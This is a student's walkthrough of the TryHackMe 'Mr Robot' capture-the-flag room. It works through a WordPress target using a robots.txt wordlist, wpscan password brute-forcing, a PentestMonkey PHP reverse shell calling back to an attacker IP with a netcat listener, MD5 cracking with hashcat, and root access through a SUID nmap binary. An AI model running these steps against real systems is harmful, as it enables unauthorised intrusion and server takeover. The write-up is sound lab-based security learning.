Loading
Cybersecurity undergraduate and web developer based in Sri Lanka, passionate about penetration testing, VAPT, and ethical hacking.
Mr Robot themed room — three hidden flags using WordPress exploitation, dictionary attack and SUID binary privilege escalation.
Mr Robot is a TryHackMe room inspired by the TV show of the same name.
It runs a WordPress site with a hidden dictionary, weak credentials,
and a vulnerable plugin that allows uploading a reverse shell.
Privilege escalation is achieved via a SUID binary — specifically
an old version of nmap that drops an interactive root shell.
Start with a full Nmap scan to identify open ports and services:
nmap -sV -sC -p- --min-rate 5000 MACHINE_IP
Key results from the scan:
80 — Apache httpd (WordPress site)443 — HTTPS (same WordPress site)22 — SSH (closed)Only the web ports are open and accessible. SSH is closed so the entire attack chain runs through the web application.
Visiting the site presents an interactive Mr Robot themed terminal.
Check standard files first — robots.txt reveals two entries:
http://MACHINE_IP/robots.txt
# Output:
User-agent: *
fsocity.dic
key-1-of-3.txt
Download both files immediately:
wget http://MACHINE_IP/fsocity.dic
wget http://MACHINE_IP/key-1-of-3.txt
key-1-of-3.txt contains the first flag.
fsocity.dic is a large wordlist that will be used
to brute force the WordPress login. Deduplicate it first to
speed up the attack:
sort -u fsocity.dic > fsocity-uniq.dic
wc -l fsocity-uniq.dic
# Reduces from 858,160 to 11,451 unique words
Run WPScan to enumerate users and identify the WordPress version:
wpscan --url http://MACHINE_IP \
--enumerate u
WPScan identifies the username elliot. Alternatively,
the login error message on /wp-login.php leaks valid
usernames — an invalid username returns Invalid username
while a valid one returns incorrect password.
Use the deduplicated wordlist to brute force the password
for user elliot:
wpscan --url http://MACHINE_IP \
--username elliot \
--passwords fsocity-uniq.dic
WPScan finds the valid credentials:
Username: elliot
Password: ER28-0652
Log into the WordPress admin panel at /wp-admin.
From the WordPress admin panel, navigate to
Appearance > Editor and select the
404.php template. Replace its contents with a
PHP reverse shell. Use the PentestMonkey reverse shell:
# Set your tun0 IP and port in the shell before pasting
# Download from:
# https://github.com/pentestmonkey/php-reverse-shell
# Edit these two lines in the shell:
$ip = '10.10.14.X';
$port = 4444;
Set up a Netcat listener, then trigger the shell by visiting a non-existent page:
nc -lvnp 4444
curl http://MACHINE_IP/nonexistent-page
A shell arrives as the daemon user.
Stabilise the shell then navigate to the robot user's home directory:
# Stabilise the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Navigate to robot's home
cd /home/robot
ls -la
Two files are present:
key-2-of-3.txt — readable only by robotpassword.raw-md5 — readable by allRead the MD5 hash and crack it offline:
cat /home/robot/password.raw-md5
# robot:c3fcd3d76192e4007dfb496cca67e13b
# Crack with hashcat
hashcat -m 0 c3fcd3d76192e4007dfb496cca67e13b \
/usr/share/wordlists/rockyou.txt
The cracked password is abcdefghijklmnopqrstuvwxyz.
Switch to the robot user and read the second flag:
su robot
# Password: abcdefghijklmnopqrstuvwxyz
cat /home/robot/key-2-of-3.txt
Search for SUID binaries on the system to find privilege escalation vectors:
find / -perm -4000 -type f 2>/dev/null
The output includes /usr/local/bin/nmap — an old version
of nmap (3.81) that has an interactive mode allowing shell execution:
nmap --interactive
# Inside nmap interactive mode:
!sh
whoami
# root
The !sh command inside nmap's interactive mode spawns
a root shell via the SUID bit.
With a root shell, grab the final flag:
# Key 3
cat /root/key-3-of-3.txt
robots.txt — it can expose sensitive files and wordlistsnmap — port scanning and service enumerationwpscan — WordPress enumeration and brute forcinggobuster — web directory enumerationnetcat — reverse shell listenerhashcat — MD5 hash crackingphp-reverse-shell — PentestMonkey PHP shellfind — SUID binary discovery